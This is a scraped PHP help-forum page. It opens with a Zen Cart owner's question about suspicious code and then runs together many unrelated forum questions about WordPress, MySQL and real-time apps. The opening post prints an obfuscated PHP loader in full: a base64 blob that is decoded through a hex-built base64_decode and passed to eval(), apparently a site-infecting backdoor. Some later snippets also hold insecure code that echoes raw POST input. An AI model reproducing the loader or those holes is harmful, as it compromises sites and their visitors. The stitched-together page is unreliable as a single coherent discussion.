PHP - Site Infected Or Is This Real Code?
I have a lot of garbly gook in my zen cart. I am NOT a php programmer, but I do well enough with my ZenCart to manage.
I have a code that starts like this:
<?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQYMy4wMgwhdGhhaDFOaWV0aGFpMnphaDZBaHIPQLaHR0cDovLwVzoUuSFRUUFMb2ZmUFJaHR0cHM6Ly8KfYPSFRUUF9IT1NUcgnZdW5pb24PVvmc2VsZWN0DBQVUUkVRVUVTVF9VUkkSWfTgU0NSSVBUX05BTUUBipUVVFUllfU1RSSU5HXSPwuXIoZGV0ZXJtaW5hdG9yUBnqLgxLmxvZwBseESFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQfCvydmVyc2lvADLQcKLXBocAHSFRUUF9FWEVDUEhQkNYxCZb3V0HCjPEUb2sbtSFRUUF9VU0VSX0FHRU5UGLAyNmZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxdYQvHYWxqZXIuYml6VEpZmFzdGFkZHouY29tHL3czLnBocD91PQTaPJms9UqtLJnQ9cGhwJnA9rHagTHJnY9YUZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYvbHZvOGdTL2xjNnlCcGh3V0NEd2NmazhaUm8xdk1tMG13U2VaeVZWck1Sd3RBRWJDNXorSXJ5djc4cXVqRTRzVWY3azNFZlZWOWRYMVVISGhHdlhPb0ZNWFZGd2FVRnphSWd0b3NrRTdyZFZ4TEF0bGZHVGhFa3NVVjNRVjdrWXJGY2h1VStjY1MrcE1wcXY0dm5ib0k0c0hKYU5KdER5WkMxZmxjbWF2ZjZ6TFpxU0ZwZlZpZHdvQThIM2tpdGhWZ2JtbnVKbldhYmFMY1dPKzR5OHZlQlRENTFYdnpBWCs2SlNlNmZmdnpva2xmU3JFU0JreVZGRUZ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N0VTdHTUh1enVqTk5yaG10SytCem1UYThvdlUxMEEydXcwYkttaFR2UmFjdHJWRTlIZ0g3VFlDdDVMcWxOTGpHbXFRTjljcFkxb21hTGFobVVEUUJ6UFhJazlETjRoQ2FITkxaL2dCR1RDYWNYdUFCUWpkMldOLzdsM0MxL2hDSWVBRHRSRzUxbUlrMGdPWTA2TEpVMlFXRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at"; if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php
My gut says this is way wrong? thoughts?
Similar TutorialsThis topic has been moved to Editor Help (Dreamweaver, Zend, etc). http://www.phpfreaks.com/forums/index.php?topic=322054.0 Hello, I am building an online game(users make a character and move on a map and so on...)
All user data is stored in a mySQL database and I want the users to interact in real-time, but there can be a 1-3 second delay between the communication, but not exceed 3 seconds even if 500 players are playing at the same time.
But for the purpose of the question let's say the users can only chat between one another, if I'll have a solution for that then I can use the same method for more parts of the game.
I can't use websockets because my webhost doesn't support it( I don't want to use pusher.com).
I know I can make real-time apps with ajax long polling, but I think that with 500 players playing at the same time it's not the best solution.
So, finally:
How can I make user interaction as close as possible to a real-time game?
(Without too much load on the hosting server)
(I am sorry if some of my terms are not correct - I am just getting back to coding after a long time...)
Edited by Mythion, 17 August 2014 - 02:34 AM. Hi Guys,
new to php and taken on the on the challenge of a web site written years ago, using old code. Various parts are failing but the main issue is the join form. I have gone over and over it but I cannot find the issue. I’ve asked else where but just been told to post the error. The only error I get is that the fields are not filled in, when they are. If I post code ( if it allows ) can someone please help me? I have a wordpress site that has a ribbon graphic on the index page posts that are in the category "features", it works great when it's like this: Code: [Select] <?php //for better seo, we use alt and titles in h query_posts('category_name=features&showposts=4'); while(have_posts()):the_post(); $attrs = array( 'src' => $src, 'class' => "", 'alt' => get_the_title(), 'title' => get_the_title(), );?> <!-- Blog entry --> <div class="blog_entry"> <!-- inside --> <div class="inside"> <!-- Thumbnail --> <div class="thumbnail"> <a href="<?php the_permalink(); ?>" title="<?php the_title();?>"><?php the_post_thumbnail('blogsmall', $attr );?></a> </div> <!-- /Thumbnail --> <!-- Resume --> <div class="resume"><div class="featured_banner2"></div> <h3 class="cufon"><a href="<?php the_permalink();?>"><?php the_title();?></a></h3> <p class="bigline"><?php the_excerpt();?></p> <br> <?php if(function_exists('the_ratings')) { the_ratings(); } ?> </div> <!-- /Resume --> but when going to the category view it doesn't work to just add the Code: [Select] <div class="featured_banner2"></div> as all post types get the ribbon. So I am trying to use a PHP if statement to only apply that featured_banner2 div line to posts with the category name of "features" I am a total php newbie, so far I tried this but it obviously is not right, I am trying though! lol: Code: [Select] <!-- Resume --> <div class="resume"> <?php if ( in_category( 'features' )) { <div class="featured_banner2"></div> } endif;?> <h3 class="cufon"><a href="<?php the_permalink();?>"><?php the_title();?></a></h3> <p class="bigline"><?php echo get_the_excerpt();?></p> </div> <!-- /Resume --> If anybody could give me code for that gets site views, that would be really nice. This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=317142.0 hi guys, i just finished highschool starting to do webdesign at uni, and for one of my major project i want to make a search engine as simple as google that searches for example 10 websites and with the keyword given it brings out the results. im doing a website on jetski sales results so if someone want to buy a jetski they come to this website and just choose the choose one from those 10 website without going to them individually. so it brings out all search resuts in a nice results format, and when you click on each results it take you to the website but i wanna be able to show their photo and price so just like brings their results into your site but combing 10 website results. and i need to have an advance search option where they can search year price age of jetski, and all these variables are also in the 10 websites that im getting the results from. i have been doing some searching and i cant get my head around i need some help LOL i dont wanna fail... cheers guys Hi I'm currently in the process of re-developing a website for a client in Wordpress. I've completed the work apart from the fact that on the old site the client has a webpage with an email subscription form for subscribing to a newsletter. The form takes a 'Name' and 'Email Address' and writes these to a MySQL database in the back end. I've tried adding the code to a page in wordpress and have a few plugins which allow PHP code execution on both the sidebar and page but when the button is clicked to submit the subscription nothing appears to happen as on the origonal page. I really need to know whether this type of code could be imported into Wordpress and made to work or how to go about writing a wordpress page that will write to the same database. Any advice on this would be helpful as I'm not a strong php coder. The Code is as follows: There's a contact.php page on the origoanl site that calls inc-mailing-list.php that also referrences a mysqlconnections.php file I've put all the code below for referrence. Origonal Site: contact.php Code: <?php session_start(); $string = strtoupper($_SESSION['string']); $userstring = strtoupper($_POST['userstring']); session_destroy(); ?> HTML PAGE FORMATTING (REMOVED FOR THE POST) <?php include("inc-mailing-list.php"); ?></TD> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-9716450-1"); pageTracker._trackPageview(); } catch(err) {}</script></body> </html> INC-MAILING-LIST.PHP <?php require_once('Connections/mysqlconnection.php'); ?> <?php /* In contact.php session_start(); $string = strtoupper($_SESSION['string']); $userstring = strtoupper($_POST['userstring']); session_destroy(); */ ///// Anti sql injection if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } //// Site config $siteName = "South Wales Art Society"; $siteURL = "www.southwalesartsociety.co.uk"; $siteEmail = "info@southwalesartsociety.co.uk"; ///// Establish the current date/time as a variable $now = date('Y-m-d H:i:s'); // Current date //// Call mailing lists mysql_select_db($database_mysqlconnection, $mysqlconnection); $query_callMailingLists = "SELECT * FROM content WHERE contenttype = 501 AND onlinestatus = '1' ORDER BY displayorder ASC"; $callMailingLists = mysql_query($query_callMailingLists, $mysqlconnection) or die(mysql_error()); $row_callMailingLists = mysql_fetch_assoc($callMailingLists); $totalRows_callMailingLists = mysql_num_rows($callMailingLists); //// Unsubscribe if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "elist") && ($_POST["subscription"] == "unsubscribe") && (strlen($_POST["email"]) > 4) && ($string == $userstring) && (strlen($string) > 4)) { $deleteSQL = sprintf("DELETE FROM content WHERE email=%s AND contenttype = 500", GetSQLValueString($_POST['email'], "text")); mysql_select_db($database_mysqlconnection, $mysqlconnection); $Result1 = mysql_query($deleteSQL, $mysqlconnection) or die(mysql_error()); $status = "1"; //SEND CONFIRMATION EMAIL $to = $_POST['email']; $subject = $siteName.' Mailing List'; $body = 'Your email address has been removed from the '.$siteName.' mailing list.' . "\n\r"; $body .= $siteURL . "\n\r"; $headers = 'From: '.$siteEmail . "\r\n" . 'X-Mailer: PHP/' . phpversion(); mail($to, $subject, $body, $headers); } /////////////////// SUBSCRIPTION //////////////////////// // Insert comment if sent and valid if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "elist") && ($_POST["email"] != "") && ($_POST["subscription"] == "subscribe") && ($string == $userstring) && (strlen($string) > 4)) { //////////////////////////////////////////////////////////////////////////////////// ///////////////////////////// COUNT AND JOIN TAGS ////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// $tagCombination1 = ""; // Default value to define variable. $tagTotal = ""; // Default value to define variable. if (isset($_POST['TagsTotal1'])) { $tagTotal = $_POST['TagsTotal1'];} $tagNumber = 0; do { $tagNumber = $tagNumber+1; if (isset($_POST['Tag-1-'.$tagNumber])) $tagCombination1 = $tagCombination1.",".$_POST['Tag-1-'.$tagNumber]; // DISREGARD UNSELECTED TAGS } while ($tagNumber <= $tagTotal); // LOOP UNTIL ALL TAGS HAVE BEEN COMBINED $tagCombination1 = $tagCombination1.","; // ADD A COMMA TO THE END TO GET CORRECT SEARCH PARAMETERS $tagCombination1 = str_replace(",,",",",$tagCombination1); // CLEAR OUT ANY DOUBLE COMMAS //////////////////////////////////////////////////////////////////////////////////// /////////////////////////// COUNT AND JOIN TAGS END //////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// $insertSQL = sprintf("INSERT INTO content (contenttype, title1, email, date_added, tags1) VALUES (%s, %s, %s, %s, %s)", GetSQLValueString(500, "int"), GetSQLValueString($_POST['name'], "text"), GetSQLValueString($_POST['email'], "text"), GetSQLValueString($now, "text"), GetSQLValueString($tagCombination1, "text")); mysql_select_db($database_mysqlconnection, $mysqlconnection); $Result1 = mysql_query($insertSQL, $mysqlconnection) or die(mysql_error()); $status = "2"; //SEND CONFIRMATION EMAIL $to = $_POST['email']; $subject = $siteName.' Mailing List'; $body = 'Thank you. Your name has been added to the '.$siteName.' mailing list.' . "\n\r"; $body .= $siteURL . "\n\r"; $headers = 'From: '.$siteEmail . "\r\n" . 'X-Mailer: PHP/' . phpversion(); mail($to, $subject, $body, $headers); } ?> <div id="signup" > <H5>Sign Up For Our Mailing List</H5> <?php if (($_POST['email']) && ($status == "1")) { ?> <br /><strong>Thank you, you have been removed from the mailing list.</strong> <?php } elseif (($_POST['email']) && ($status == "2")) { ?> <br /><strong>Thank you, you have been added to the mailing list.</strong> <?php } else { ?> <form name="elist" method="POST" action=""> <?php if (($_POST['email']) && ($status != "2")) { ?><p class="red"><strong>Please complete your details and enter the code.</strong></p><?php } // Error ?> <br /> Name: <input name="name" type="text" value="<?php echo $_POST['name']; ?>" /><br /> Email: <input name="email" type="text" value="<?php echo $_POST['email']; ?>" /><br /> <input name="subscription" type="radio" id="subscription_0" value="subscribe" <?php if($_GET['unsubscribe']!="yes") { ?>checked="checked"<?php } // ?> /> Subscribe<br /> <input type="radio" name="subscription" value="unsubscribe" id="subscription_1" <?php if($_GET['unsubscribe']=="yes") { ?>checked="checked"<?php } // ?>/> Unsubscribe<br /> <br /> <?php /*?>Select which information you would like to receive:<br /> <?php $tagNumbers = 0; do { $tagNumbers = $tagNumbers+1;?> <label><input <?php if (!(strcmp($row_callMailingLists['id'],1000))) {echo "checked=\"checked\"";} ?> name="Tag-1-<?php echo $tagNumbers; ?>" type="checkbox" value="<?php echo $row_callMailingLists['id']; ?>" /><?php echo $row_callMailingLists['title1']; ?></label><br /> <?php } while ($row_callMailingLists = mysql_fetch_assoc($callMailingLists)); ?><br /><br /> <input type="hidden" name="TagsTotal1" value="<?php echo $totalRows_callMailingLists; ?>" /> USE THE TWO HIDDEN FIELDS BELOW AS THERE IS ONLY ONE LIST <?php */?> <input type="hidden" name="Tag-1-1" value="1000" /> <input type="hidden" name="TagsTotal1" value="1" /> <img src="/captcha/imagebuilder.php" alt="" border="0" /><br /><br /> <small>Please enter the code shown above.</small><br /> <input maxlength="8" size="8" name="userstring" type="password" value="" /><br /><br /> <input name="Submit" type="submit" value="Submit" /><br /> <input type="hidden" name="datesubscribed" value="<?php echo date('Y-m-d H:i:s'); ?>" /> <input type="hidden" name="MM_insert" value="elist" /> </form> </div> <?php } // ?> <?php mysql_free_result($callMailingLists); ?> hello dear friends if we want to put a facebook-fanbox on a wordpress-page - so that it looks like this he http://www.designche...ial-media-tabs/ we can go like so: we take the test from the facebook-deeloper site: https://developers.f...e-box-for-pages Initialize the JavaScript SDK using this app: books-page... <div id="fb-root"></div> <script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_GB/sdk.js#xfbml=1&appId=473241986032774&version=v2.0"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk'));</script> Include the JavaScript SDK on your page once, ideally right after the opening <body> tag. or do i need to inclue this <div class="fb-like-box" data-href="https://www.facebook.com/FacebookDevelopers" data-colorscheme="light" data-show-faces="true" data-header="true" data-stream="false" data-show-border="true"></div>` love to hear from you I have a Google Adsense code that I am saving to the wp_options table. I can successfully save and retrieve the variable containing the google adsense code but it doesn't do anything except display it as plain text on screen. Getting an unexpected end error on this and unsure as to why. Code: [Select] <?php if($players['is_banned'] == 1) { ?> <a href="profile.php?id=<?php echo $players['id'] ?>"><?php echo $players['name'] ?> (BANNED) <? }else{ ?> <a href="profile.php?id=<?php echo $players['id'] ?>"><?php echo $players['name'] ?> <? } ?> I am trying to send an html file (with .js formatting) to the browser from within a PHP script. The .js formatting is not being interpreted and so the result in the browser is less than impressive. Why can't I make a call, in PHP, to a url and have the results from that call directed to the browser? Hello guys, I have been searching on the internet for articles that shows me how to get the real IP address when they are behind a proxy. But after some reading it seems that this is not completely possible. Correct me if I'm wrong. So what is the best thing to do? Because I have seen different methodes and I'm not sure which one is the best. http://www.laughing-buddha.net/php/lib/remoteip Okay, so this is my first real php script from scratch. This is the theory of the script I am writing. Mysql database connect script already done. So, first things I need to do is connect, right? <?php //connect to db require_once ('includes/connect.php'); //connect to table $result = mysql_query ("select * FROM shop1"); //display data in table echo "<table border='1'><tr><td>Shop</td><td>city</td><td>members</td></tr>"; while($row = mysql_fetch_array($result)) { echo "<tr>"; echo "<td>" . $row['name'] . "</td>"; echo "<td>" . $row['city'] . "</td>"; echo "<td>" . $row['members'] . "</td>"; echo "</tr>"; } echo "</tr></table>"; ?> Displays this, http://67.23.249.45/~gaogier/shop1.php What do you think so far? Whats still to come. How do I link 2 tables together? I mean, I plan to have many shops displayed, then, inside the shop, have the items, which will be linked to each shop. I plan to link each shop to a different page, which will be displayed like, url/shop/shopname If you are confused, i need to have a working shop database that works like this, http://www.tip.it/runescape/?rs2shops I don't care about styling at the moment, I just want the script to work. What do I do now? Hi everyone, If I have a line like this: $nfn = $brand . $model; then when the variable is echoed ($nfn) will come out like nikeair, how can I save it with a space so when echoed it will display nike air? Cheers Hi guys, got some questions about the Instagram real-time api. first let me tell you what I want to do. I'd like to run a daemon process with a socket connection or something of the like to the Instagram API to get a constant feed of photos with a certain tag. We estimate it to be a large amount of data at a particular time (thus why we want to go Real-time). This process will parse the feed and store it into a mongodb database. Secondly, for the front end, I'd like to display all new, live photos in real-time, possible with ajax or some form of checking on a set interval. Problem being, I can't find anyone doing this with php. All of the resources I have seen use Node.js and Tornado. Has anyone done this with PHP or know of a good Real-time API demonstration/tutorial to get me started? Here's the documentation... http://instagr.am/developer/realtime/ any help would be greatly appreciated! thanks! I am trying to get the actual filename so that I can attach it to an email. I tried echo $file; but its not giving me anything. Just a blank page. Here's the code that I' working with: $file = date('M-d-Y H:i A'). '.png'; $uri = substr($data,strpos($data,",")+1); file_put_contents('./Collection_Posts/'.$file, base64_decode($uri)); echo $file; exit;
Hello I am having a problem trying to write to a database using mysql real escape so there wont be any injection attacks. I trying using myrealescape and it returns errors: Code: [Select] Notice: Use of undefined constant messageTo - assumed 'messageTo' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17 Notice: Use of undefined constant messageSubject - assumed 'messageSubject' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17 Notice: Use of undefined constant messageBody - assumed 'messageBody' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17 I add in the single quotes and it doesn't write either. Dreamweaver says that either single quotes or not there is no syntax errors. What going on? I have used it like this befo ('$ID','" . mysql_real_escape_string($_POST[post_content]) . "') and no problems.. ~AJ <?php require_once('connect.php'); if(isset($_COOKIE['user'])){}else{ header( 'Location: members.php'); } if (isset($_POST['sendBtn'])){ $messageFrom = $_COOKIE['user']; $messageTo = $_POST['messageTo']; $hash = $messageTo.$messageFrom.time(); $hash = md5($hash); mysql_select_db("majik"); $sql="INSERT INTO messagesystem(ID, hash, messageTo, messageFrom, messageSubject, messageBody, messageDate, messageRead, messageDelete) VALUES ('','$hash','" . mysql_real_escape_string($_POST['messageTo']) . "','$messageFrom','" . mysql_real_escape_string($_POST['messageSubject']) . "','" . mysql_real_escape_string($_POST['messageBody']) . "','0','0')"; echo '<center>Your message was sent to: '.$messageTo.'</center>'; } ?> Ok so I have a question. is it possible to make a form submit to a DB in real time without the need for a submit button ? if so could you drop a hint to what it would be caled or a tut / reference to it ? |